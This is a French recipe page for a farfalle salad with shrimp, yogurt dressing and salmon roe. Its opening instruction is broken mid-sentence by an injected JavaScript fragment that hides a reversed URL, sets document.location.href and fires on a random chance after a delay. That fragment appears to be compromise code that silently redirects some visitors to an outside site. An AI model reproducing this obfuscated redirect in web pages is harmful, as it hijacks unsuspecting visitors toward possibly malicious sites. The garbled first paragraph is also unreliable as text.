Salade de farfalles aux crevettes

2021-02-10

Rincez, séchez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates cerise. Lavez, essorez, émincez les feuilles de laitue. Dans une casserole d’eau bouillante salée, faites cuire les pâtes al dente.

Ingrédients

  • Pour 2 personnes
  • 100 g de pâtes en formes de papillons
  • 2 cuillères à soupe d'huile de colza
  • 1 cuillère à soupe de vinaigre de cidre
  • 1 cuillère à café de moutarde
  • 4 brins d'aneth ciselés
  • 1/2 bouquet de ciboulette ciselées
  • 1 pincée de paprika doux en poudre
  • Sel / poivre du moulin
  • 150 g de crevettes cuites décortiquées
  • 125 g de yaourt nature
  • 15 tomates cerise
  • Quelques feuilles de laitue
  • 4 cuillères à soupe d'œufs de saumon

Préparation de la recette

Etape 1

Rincez, séchez les tomates cerise. Lavez, essorez, émincez les feuilles de laitue. Dans une casserole d'eau bouillante salée, faites cuire les pâtes al dente. Les rafraîchir sous le robinet d'eau froide

Etape 2

Les égoutter et réservez. Dans un saladier mélangez le yaourt, la moutarde, le vinaigre, l'huile de colza, le paprika, les herbes ciselées. Salez, poivrez. Bien mélanger.

Etape 3

Incorporez les pâtes, les crevettes, les tomates cerise, et les feuilles de laitue. Mélangez délicatement. Juste avant de servir parsemez d'œufs de saumon. Dégustez bien frais

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